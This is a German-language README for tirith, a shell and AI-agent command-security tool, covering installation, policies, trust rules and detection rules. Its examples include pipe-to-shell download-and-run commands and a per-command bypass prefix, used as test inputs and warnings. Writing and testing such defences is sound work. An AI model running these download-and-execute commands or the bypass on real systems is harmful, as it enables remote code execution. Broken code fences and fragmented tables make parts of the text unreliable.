- **Ausgaberichtungsabwehr** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) neutralisiert Terminal-Täuschungs-Escapes in Befehls- und MCP-Tool-Ausgaben: OSC-52-Zwischenablage-Schreibvorgänge, gefälschte Eingabeaufforderungen, OSC-8-Hyperlink-Konflikte sowie Titel-/Bildschirmlösch-Manipulation. Es scannt auch die Ausgabe auf Prompt Injection (roh und entschleiert) sowie Data-Exfiltration-Beacons. Fügen Sie benutzerdefinierte Seeds mit `injection_seeds_custom` hinzu und optieren Sie mit `mcp_redact_injection` zur Schwärzung eines nur-injektionsbezogenen MCP-Blocks zu einer Warnung (anstatt die gesamte Ausgabe zu blockieren).
- **Zielgruppenbewusste Schwärzung** (`tirith share`, `tirith redact`, `tirith logs`) entfernt Geheimnisse und Kunden-/Mandanten-IDs, bevor Sie in ein GitHub-Issue, Slack, ein LLM oder ein öffentliches Paste einfügen.
- **Einfüge-Herkunft** (`tirith paste --with-source`, `tirith browser`). Mit dem installierten Companion Chrome Native-Messaging-Host ordnet tirith einen eingefügten Befehl seiner Quellseite zu und markiert ein Einfügen, dessen Quellhost sich von dem Ort unterscheidet, an dem der Befehl ausgeführt wird.
---
## Install
### macOS
**Homebrew:**```bash
brew install tirith
Debian / Ubuntu (.deb):
Laden Sie von GitHub Releases herunter, dann:```bash sudo dpkg -i tirith_*_amd64.deb
**Fedora / RHEL / CentOS 9+ (.rpm):**
Laden Sie von [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) herunter, dann:```bash
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):```bash yay -S tirith
**Nix:**```bash
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux läuft auf Bionic libc, nicht auf glibc, daher kann das Build
aarch64-unknown-linux-gnu dort nicht ausgeführt werden – es benötigt den dynamischen Linker von glibc. Verwenden Sie stattdessen das musl-Build:
tirith-aarch64-unknown-linux-musl.tar.gz ist statisch gelinkt und läuft auf
Termux ohne eine externe libc.```bash
pkg install curl tar
curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Aktivieren Sie dann den Shell-Hook in `~/.bashrc` (Termux' Standard-Shell ist bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] Die Unterstützung für Termux erfolgt nach bestem Bemühen. Das musl-Artefakt wird in CI erstellt und einem Smoke-Test unterzogen, aber tirith wird noch nicht kontinuierlich auf einem echten Android-Gerät getestet. Wenn ein Hook unter Termux Fehlverhalten zeigt, eröffnen Sie bitte ein Issue mit der Ausgabe von
tirith doctor.
Alle Kernfunktionen funktionieren unter Windows, einschließlich Erkennung, Scannen, Webhooks, Richtlinienverwaltung und Audit-Uploads. Shell-Hooks unterstützen PowerShell. Der Daemon-Modus und tirith setup sind vorerst nur unter Unix verfügbar.
Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith
**Chocolatey** (unter Moderation, Genehmigung ausstehend):```powershell
choco install tirith
npm:```bash npm install -g tirith
**Cargo:**```bash
cargo install tirith
Mise (offizielles Register):```bash mise use -g tirith
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
### Aktivieren
Füge zu deinem Shell-Profil hinzu (`.zshrc`, `.bashrc` oder `config.fish`):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
Bash verwendet den Enter-Modus, wenn ein Fähigkeits-Selbsttest bewiesen hat, dass er für Ihre Bash funktioniert, andernfalls preexec. tirith setup / tirith doctor führen den Selbsttest aus; der Shell-Hook liest sein zwischengespeichertes Urteil beim Start. Siehe Fehlerbehebung für Details zu den Modi, dem Selbsttest und dem SSH-Fallback-Verhalten.
[!WARNING] Bashs preexec-Modus warnt, kann aber nicht direkt blockieren. Setzen Sie
TIRITH_BASH_PREEXEC_ENFORCE=1für echtes Blockieren viashopt -s extdebug. Die Durchsetzung weigert sich zu aktivieren, wennHISTCONTROLignorespace/ignoredups/ignorebothenthält,HISTIGNOREgesetzt ist, oderset +o historyaktiv ist, diese machen das Blockieren anfällig für Race-Conditions.
Für garantiertes Blockieren auf Zeilenebene unter bash führen Sie tirith doctor --simulate-enter aus; wenn die Zustellung funktioniert, ist der Enter-Modus aktiviert. Wo dies nicht der Fall ist, verwenden Sie preexec enforce für "blockiert, wenn möglich; sagt ehrlich, wenn es nicht kann."
Nix / Home-Manager: tirith muss sich in Ihrem $PATH befinden, die Shell-Hooks rufen tirith zur Laufzeit namentlich auf. Es reicht nicht aus, es nur zu initContent hinzuzufügen.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';
### Aktualisieren und Überprüfen von tirith
tirith kann seine eigene Integrität überprüfen und sich selbst aktualisieren. Beide Befehle greifen nur dann auf das Netzwerk zu, wenn Sie sie ausführen.```bash
tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
tirith verify-self bestätigt, dass die laufende Binärdatei die echte, unveränderte Binärdatei einer offiziellen Version ist. Es lädt das Release-Archiv für Ihre Version und Zielplattform erneut herunter, überprüft es gegen die signierte checksums.txt, prüft die Cosign-Signatur über checksums.txt, wenn cosign installiert ist, und bestätigt, dass die laufende Binärdatei byte-identisch mit der offiziellen ist. Wenn eine vollständige Überprüfung nicht möglich ist (lokaler Dev-Build, kein Netzwerk, eine nicht identifizierbare Installation von tirith), gibt es dies ehrlich an, anstatt ein falsches "verified" zu melden. Ohne cosign wird die Prüfsumme dennoch verifiziert (gemeldet als verified-checksum-only); installieren Sie cosign für eine vollständige Signaturprüfung (verified-signed).
tirith update ist paketmanager-bewusst:
brew upgrade tirith. Die Aktualisierung über den Paketmanager hält dessen Datenbank konsistent.install.sh-Tarball oder eine eigenständige Binärdatei) werden direkt aktualisiert: tirith lädt die neueste Version herunter, überprüft sie und tauscht dann atomar die Binärdatei aus, wobei die vorherige als tirith.tirith-previous-Seitenwagen erhalten bleibt. Die Cosign-Signatur wird standardmäßig überprüft: Wenn sie nicht verifiziert werden kann (cosign fehlt oder die Version hat keine Signatur veröffentlicht), wird das Update abgebrochen. Übergeben Sie --allow-unsigned, um auf eine reine Prüfsummenverifikation zurückzufallen; eine Prüfsummenabweichung führt immer zum Abbruch, unabhängig von dieser Option. tirith update --rollback kehrt zur vorherigen Binärdatei zurück; --dry-run zeigt, was passieren würde, ohne etwas zu ändern.[!NOTE] Die Installationsskripte (
scripts/install.shund das Windowsinstall.ps1) überprüfen ebenfalls standardmäßig die Cosign-Signatur des Releases und brechen ab, wenncosignfehlt oder die Signatur nicht verifiziert werden kann. Installieren Sie zuerstcosignoder setzen SieTIRITH_ALLOW_UNSIGNED=1, um mit reiner Prüfsummenverifikation zu installieren (nicht empfohlen). Eine Prüfsummen- oder Signaturabweichung führt immer zum Abbruch, unabhängig von dieser Opt-out-Möglichkeit.
Oh-My-Zsh:```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
plugins=(... tirith)
### KI-Agenten-Integrationen
Verwenden Sie `tirith setup <tool>` für die Ein-Klick-Konfiguration:```bash
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup copilot-cli # GitHub Copilot CLI (run from repo root)
tirith setup cursor # Cursor
tirith setup gemini-cli --with-mcp # Gemini CLI + MCP server
tirith setup kiro # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli # Pi CLI
tirith setup vscode # VS Code
tirith setup windsurf # Windsurf
Für die manuelle Konfiguration siehe mcp/clients/ für tool-spezifische Anleitungen.
GitHub Action mit SARIF-Upload zum GitHub Security Tab:```yaml
Auch als **Pre-Commit-Hook** verfügbar: Siehe `.pre-commit-hooks.yaml` in diesem Repository.
Scan unterstützt die Filter `--include`, `--exclude`, `--profile` (lädt benannte Profile aus der Richtlinie) und `--ignore` für gezieltes CI-Scannen.
### Dokumentation der Regeln```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Jeder Fund trägt eine regelbasierte Abhilfe: eine kurze, genaue "wie man dies sicher macht" Zeile, die unter jedem Fund (Fix:) und in --format json angezeigt wird.
tirith explain --rule <id> --fix gibt diese Abhilfe eigenständig aus.
Wenn ein Befehl blockiert oder gewarnt wird, gibt tirith check --suggest zusätzlich eine konkrete sicherere Umschreibung des tatsächlichen Befehls aus, aber nur, wo eine Transformation wirklich sicherer und korrekt ist:```bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'
Es schreibt Pipe-to-Shell in Download-Review-Run um, entfernt unsichere-TLS-Flags (`-k` / `--insecure` / `--no-check-certificate`) und wandelt reine `http://` in `https://` um. Bei Ergebnissen ohne sichere mechanische Umschreibung (Homograph-Hostnamen, Archiv-Extrakt-Ziele, …) gibt es dies klar an und zeigt stattdessen die Abhilfemaßnahme an; es gibt niemals einen unbegründeten Vorschlag. Das Flag ist nur ein Hinweis: Es ändert weder das Urteil noch den Exit-Code.
### Daemon-Modus (Unix)
Optionaler Hintergrundprozess für Sub-Millisekunden-Latenz und netzwerkbewusste Anreicherung (Auflösung gekürzter URLs, DNS-Blocklist-Prüfungen):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] Daemon-Modus ist heute nur unter Unix verfügbar.
Die Alltagsbefehle:
Das ist der tägliche Basissatz. tirith umfasst insgesamt 74 Befehle in 8 Gruppen: Scan & Analyze, Status & Health, Setup, Policy & Trust, Shell & System Guards (hygiene, persistence, exec, path, context, ssh, sudo, iac), Supply-Chain, KI-Agent-Integrationen sowie Forensik & Response. Führen Sie tirith --help für die kategorisierte Liste aus, oder sehen Sie sich die vollständige Befehlsreferenz an. Das globale --quiet-Flag (oder TIRITH_QUIET=1) unterdrückt Beratungsausgaben, ohne Fehler, Ergebnisse oder Sicherheitshinweise zu verstecken.
paste, score, diff und why tätigen keine Netzwerkaufrufe. tirith check (einschließlich des --approval-check-Pfads, den Shell-Hooks verwenden) analysiert ebenfalls lokal, löst jedoch zuerst eine periodische Hintergrundaktualisierung der Bedrohungsdatenbank aus (siehe unten), sodass es nicht streng offline ist. tirith check --offline (oder TIRITH_OFFLINE=1) unterdrückt die Aktualisierung und hält es vollständig lokal.tirith check und die Shell-Hooks lösen standardmäßig höchstens einmal alle 24 Stunden einen kostengünstigen, entkoppelten Hintergrundcheck aus (threat_intel.auto_update_hours), um die signierte Datenbank aktuell zu halten. Es blockiert niemals den Befehl. Setzen Sie auto_update_hours: 0 um es zu deaktivieren, oder verwenden Sie --offline / um es pro Aufruf zu unterdrücken. löst es aus; es geht direkt durch die lokale Engine.tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` akzeptiert `--template <name>` für eine kuratierte Starter-Policy:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Jede Vorlage ist eine gut kommentierte, schema-gültige Richtlinie, die Sie weiter bearbeiten können.
Ohne --template schreibt tirith policy init die vollständige Standardrichtlinie.
Tirith verwendet eine YAML-Richtliniendatei. Ermittlungsreihenfolge:
.tirith/policy.yaml im aktuellen Verzeichnis (steigt zum Repository-Stamm auf)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
Verwenden Sie `allowlist_rules` für regelbezogene Unterdrückungen, wenn Sie einer Quelle für eine Regel vertrauen, diese aber nicht global auf die Whitelist setzen möchten:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust verwaltet vertrauenswürdige Muster ohne manuelles Bearbeiten von policy YAML. Vertrauen
ist standardmäßig eng und zeitlich begrenzt: vertraue dem spezifischsten, das funktioniert,
und Einträge laufen nach 30 Tagen ab, es sei denn, Sie widersprechen.```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
Jeder Eintrag hat einen **scope**, der als `exact`, `substring`, `domain`,
`wildcard` oder `bare-TLD` klassifiziert wird. Ein breiter scope (`domain` / `wildcard` / `bare-TLD`)
erfordert `--broad`, sodass eine weitreichende Erlaubnis immer eine bewusste Entscheidung ist. Alle
Unterbefehle unterstützen `--format json`. Von älteren Versionen von
tirith geschriebene Trust-Stores bleiben unverändert funktionsfähig; ein Eintrag mit keiner TTL wird als dauerhaft behandelt.
### Eskalation und Aktionsüberschreibungen
Warnungen werden pro Sitzung verfolgt. Wenn dieselbe Regel wiederholt ausgelöst wird, können Eskalationsregeln zu einem Block hochstufen:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Überprüfen Sie jederzeit die gesammelten Warnungen:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
Beim Beenden der Shell wird eine einzeilige Zusammenfassung ausgegeben, falls während der Sitzung Warnungen aufgezeichnet wurden.
Weitere Beispiele in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).
### Benutzerdefinierte Erkennungsregeln
Erstellen Sie Ihre eigenen Regeln in `.tirith/policy.yaml` unter `custom_rules:`. Jede Regel ist entweder ein `pattern:` (Regex) oder ein `when:` semantischer Prädikatbaum, plus ein `context:` (`exec`, `paste` oder `file`), eine `severity:` und ein `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
Der DSL-Ausdruck when: kombiniert all: / any: / not: über Prädikate wie command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation und file.path_matches. Reputationsprädikate lesen die lokale signierte Bedrohungsdatenbank, sodass eine benutzerdefinierte Regel trotzdem keinen Netzwerkaufruf auf dem Hot Path durchführt. Vor dem Committen validieren und einen Trockentest durchführen:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### Weitere Policy-Kontrollen
Andere Policy-Schlüssel, alle mit sicheren Standardeinstellungen (`tirith policy init` schreibt die vollständig kommentierte Version):
- `package_policy:` Schwellenwerte wandeln Lieferketten-Signale in Block- oder Warn-Entscheidungen um (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` gleicht den Aufruf-Ursprung eines Befehls ab (`{ kind, name }`); ein `deny`-Treffer erzwingt einen Block. `scan.trusted_mcp_servers` und `scan.mcp_allowed_tools` akzeptieren bestimmte MCP-Server und serverspezifische Tools.
- Opt-in-Wächter, standardmäßig aus: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, plus `iac_require_plan_before_apply`, `sudo_require_reason` und `allowed_install_domains`.
Repo-spezifische `.tirith/policy.yaml`-Dateien können nur verschärfen, niemals lockern: Eine Repo-Richtlinie, die versucht, eine Zulassungsliste zu erweitern, eine Schweregrade zu senken oder einen Wächter zu deaktivieren, wird neutralisiert, und `tirith policy effective` zeigt, welche Felder entfernt wurden. Nur benutzer- und organisationsweite (`TIRITH_POLICY_ROOT`) Richtlinien können eine Voreinstellung lockern.
### Strikter Warnmodus
Mit `strict_warn: true` (oder `--strict-warn` in der CLI) fordern mittelschwere Funde in interaktiven Terminals eine explizite Bestätigung an, anstatt nur still zu warnen:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Shell-Hooks verwenden Exit-Code 3 für das warn-ack-Protokoll. Alte Hooks, die Exit-Code 3 nicht kennen, fallen auf das Fail-Open-Verhalten zurück.
[!NOTE] Exit-Code 3 ist der warn-ack-Hook-Protokollpfad, nicht der normale direkte CLI-Vertrag. Nicht-Hook-Aufrufer sollten normalerweise keinen Exit-Code 3 sehen; falls doch, zeigt dies an, dass eine Bestätigung erforderlich ist.
Für den seltenen Fall, dass du genau weißt, was du tust:```bash TIRITH=0 curl -L https://something.xyz | bash
Dies ist ein standardmäßiges Shell-Präfix pro Befehl; die Variable existiert nur für diesen einzelnen Befehl und bleibt in Ihrer Sitzung nicht erhalten. Organisationen können sie mit `allow_bypass_env: false` in der Richtlinie vollständig deaktivieren.
> [!CAUTION]
> `TIRITH=0` ist pro Befehl. Exportieren Sie es nicht in Shell-Profilen, Dotfiles oder CI-Konfigurationen; eine dauerhafte Umgehung macht das gesamte Schutzmodell unwirksam. Wenn Sie es oft verwenden, fügen Sie die vertrauenswürdige Quelle stattdessen zur `allowlist` in Ihrer Richtliniendatei hinzu.
---
## Datenverarbeitung
Lokales JSONL-Auditprotokoll unter `~/.local/share/tirith/log.jsonl`:
- Zeitstempel, Sitzungs-ID, Aktion, Regel-IDs, redigierte Befehlsvorschau
- Rohe Erkennungsdaten (`raw_action`, `raw_rule_ids`) bleiben zusammen mit der erzwungenen Aktion zur Abdeckungsprüfung erhalten
- Sitzungswarnstatus unter `~/.local/state/tirith/sessions/`
- **Keine** vollständigen Befehle, Umgebungsvariablen oder Dateiinhalte
Deaktivieren: `export TIRITH_LOG=0`
---
## Dokumentation
- [Befehlsreferenz](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): jeder Unterbefehl, gruppiert nach Kategorie
- [Bedrohungsmodell](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md), wogegen tirith schützt und wogegen nicht
- [Kochbuch](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md), Richtlinienbeispiele für gängige Einrichtungen
- [Fehlerbehebung](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md), Shell-Eigenheiten, Latenz, Fehlalarme
- [Kompatibilität](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md), stabile vs. experimentelle Oberfläche
- [Sicherheitsrichtlinie](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md), Schwachstellenmeldung
- [Deinstallation](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md), saubere Entfernung pro Shell und Paketmanager
Funktionsleitfäden:
- [Agenten-Governance](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (Aufruferherkunftszuordnung und `agent_rules`)
- [MCP-Ausgabefilter](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (das Gateway und der MCP-Ausgabebereinigungsvertrag)
- [Doktormodi](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (vollständig vs. `--quick` und das JSON-Snapshot-Schema)
- [LSP- und Editor-Profile](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (Inline-Editor-Diagnose)
- [Browser-Native-Messaging](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (Zwischenablage-Herkunftshost und Erweiterung)
- [Einfügeherkunft](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (die `paste_source_mismatch`-Regel)
- [Canary-Formate](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (synthetische Honeytoken-Formate)
- [Prompt-Integration](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (Einbinden von `tirith prompt-status` in Ihre Shell-Eingabeaufforderung)
## Lizenz
**Die Kern-Sicherheitsabdeckung wird im Open-Source-Baum ausgeliefert.** Alle 221 Erkennungsregeln und der MCP-Server sind aus dem Quellcode verfügbar. Das Repository enthält immer noch veraltete Lizenzierungs- und Policy-Server-Codepfade, gehen Sie also nicht davon aus, dass jeder Laufzeitpfad bereits stufenfrei ist.
tirith ist dual-lizenziert:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), kostenlos unter Copyleft-Bedingungen
- **Kommerziell**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), wenn die AGPL-Copyleft-Verpflichtungen für Ihren Anwendungsfall nicht geeignet sind, kontaktieren Sie [email protected] für alternative Lizenzierung
Attributionen von Drittanbieterdaten in [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).
## Sternverlauf
[](https://star-history.com/#sheeki03/tirith&Date)
| Vorfall | Jahr | Angriffsform |
|---|
| Shai-Hulud npm-Wurm | 2025 | Selbstverbreitende Paket-Malware; exfiltrierte GitHub-Tokens und AWS-Keys aus 180+ Paketen, veröffentlichte Erkenntnisse in öffentlichen Shai-Hulud-Repos |
| Slopsquatting | 2023 bis laufend | Angreifer registrieren von LLMs halluzinierte Paketnamen auf npm / PyPI / crates.io; USENIX 2025 fand heraus, dass 58% der halluzinierten Namen über mehrere Läufe hinweg wiederholt werden |
| Team PCP / UNC1069-Werkzeuge | laufend | Post-Kompromittierungs-Credential-Scans, /proc/*/mem-Auslesen, Docker-Privilege-Escalation |
| colors.js / faker.js-Sabotage | 2022 | Selbstsabotage durch Autor weit verbreiteter Pakete |
| event-stream-Kompromittierung | 2018 | Besitzübertragung an Angreifer; Payload zielte auf Bitcoin-Wallets ab |
| Werkzeug | Funktion |
|---|
tirith_check_command | Analysiert Shell-Befehle auf Pipe-to-Shell, Homograph-URLs, Umgebungsvariablen-Injection |
tirith_check_url | Bewertet URLs auf Homograph-Angriffe, Punycode-Tricks, verkürzte URLs, rohe IPs |
tirith_check_paste | Überprüft eingefügte Inhalte auf ANSI-Escapes, Bidi-Steuerzeichen, Zeichen mit Breite Null |
tirith_scan_file | Scannt eine Datei auf versteckte Inhalte, unsichtbares Unicode, Konfigurationsvergiftung |
tirith_scan_directory | Rekursiver Scan mit Priorisierung von KI-Konfigurationsdateien |
tirith_verify_mcp_config | Validiert MCP-Konfigurationen auf unsichere Server, Shell-Injection in Argumenten, Wildcard-Werkzeuge |
tirith_fetch_cloaking | Erkennt serverseitiges Cloaking (unterschiedlicher Inhalt für Bots vs. Browser) |
tirith mcp-servermcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdmoduleChart.yaml): eine Chart-Abhängigkeit aus einem nicht vertrauenswürdigen Chart-Repositorypackage.json: ein Lifecycle-Script preinstall / install / postinstall, das einen gefährlichen Befehl ausführt (Pipe-to-Shell, obfuskierten Payload, Download-und-Ausführen); diese Hooks laufen automatisch bei npm install| Shell |
|---|
| Hook-Typ |
|---|
| Getestet auf |
|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (zwei Modi) | 5.0+ |
| fish | fish_preexec Ereignis | 3.5+ |
| PowerShell | PSReadLine Handler | 7.0+ |
| Shell | Verhalten |
|---|
| bash Enter-Modus | Zuverlässiges Blockieren. Bindet Enter; kann einen Befehl stoppen, bevor bash ihn auszuführen beginnt. Standardmäßig nur verwendet, wenn ein Fähigkeits-Selbsttest (tirith doctor --simulate-enter) bewiesen hat, dass die bind -x-Zustellung für die laufende bash funktioniert. |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | Bedingtes Blockieren. Verwendet shopt -s extdebug; blockiert, wenn bashs history eine vertrauenswürdige zeilenweise Ansicht bieten kann. Stuft auf reine Warnung herab, wenn der Verlauf gefiltert wird (HISTCONTROL=ignorespace/ignoredups/ignoreboth, HISTIGNORE gesetzt ist, oder set +o history aktiv ist) oder ein Alias / eine Befehlsersetzung / eval die eingegebene Zeile von BASH_COMMAND abweichen lässt. |
| bash preexec (kein enforce-Flag) | Nur Warnung. Gibt ein ERKANNT-Banner bei riskanten Befehlen aus; blockiert nicht. Der Fallback, wenn der Enter-Modus-Selbsttest nicht bewiesen hat, dass die Zustellung funktioniert. |
| zsh, fish, powershell | Zuverlässiges Blockieren über native preexec-Hooks. |
| nushell | Nur Warnung (unterstützt derzeit keine Befehlsunterbrechung). |
| Command | Was es tut |
|---|
tirith check -- <cmd> | Analysiert einen Befehl, ohne ihn auszuführen (--suggest fügt eine sicherere Umschreibung hinzu) |
tirith paste | Überprüft eingefügten Inhalt (wird automatisch von Shell-Hooks aufgerufen) |
tirith scan [path] | Scannt Dateien, Verzeichnisse und Konfigurationen (--profile, --format sarif, --ci) |
tirith run <url> | Sicherer curl |
tirith fix -- <cmd> | Schreibt einen riskanten Befehl interaktiv in eine sicherere Form um |
tirith score <url> / diff <url> | Zerlegt die Vertrauenssignale einer URL oder zeigt, wo verdächtige Zeichen versteckt sind |
tirith explain --rule <id> / why | Regeldokumentation und Abhilfe, oder erklärt den letzten Auslöser |
tirith status / doctor | Sind Sie geschützt? Diagnostiziert Installation, Hooks und Richtlinie (--fix, --quick) |
tirith setup <tool> / init | Ein-Kommando-Einrichtung für KI-Tools oder gibt den Shell-Hook aus |
tirith policy {init,validate,test} | Richtet Ihre Richtlinie ein, validiert sie und führt einen Probelauf durch |
tirith trust {add,list,remove} | Verwalten vertrauenswürdiger Muster (enger Bereich, standardmäßig 30 Tage TTL) |
tirith threat-db update | Lädt die signierte Bedrohungsdatenbank herunter und verifiziert sie |
tirith package risk <eco> <name> | Bewertet das Lieferkettenrisiko eines Pakets |
tirith ecosystem scan [path] | Bewertet jede deklarierte Abhängigkeit in einem Projekt |
tirith mcp {lock,verify} | Fixiert und kontrolliert die MCP-Server eines Repos |
tirith daemon start | Hintergrund-Daemon für schnellere Prüfungen (Unix) |
TIRITH_OFFLINE=1tirith pastetirith daemon start ist der einzige dauerhafte Prozess und ist opt-in.run, fetch und audit report --upload greifen nur bei explizitem Aufruf auf das Netzwerk zu; die Bedrohungsdatenbank-Aktualisierung folgt dem obigen Zeitplan. Der Daemon-Modus fügt netzwerkbewusste URL-Auflösung hinzu, und optionale Webhook-/Policy-Server-Integrationen können bei Konfiguration ausgehende Anfragen senden. Die Kernerkennung telefoniert nie nach Hause.tirith run, fetch --save und command-card fetch verweigern standardmäßig private, Loopback- und Cloud-Metadaten-Hosts, und eine SSRF-Absicherung überprüft jeden Weiterleitungssprung. Setzen Sie TIRITH_ALLOW_PRIVATE_FETCH=1, um sie zu erlauben.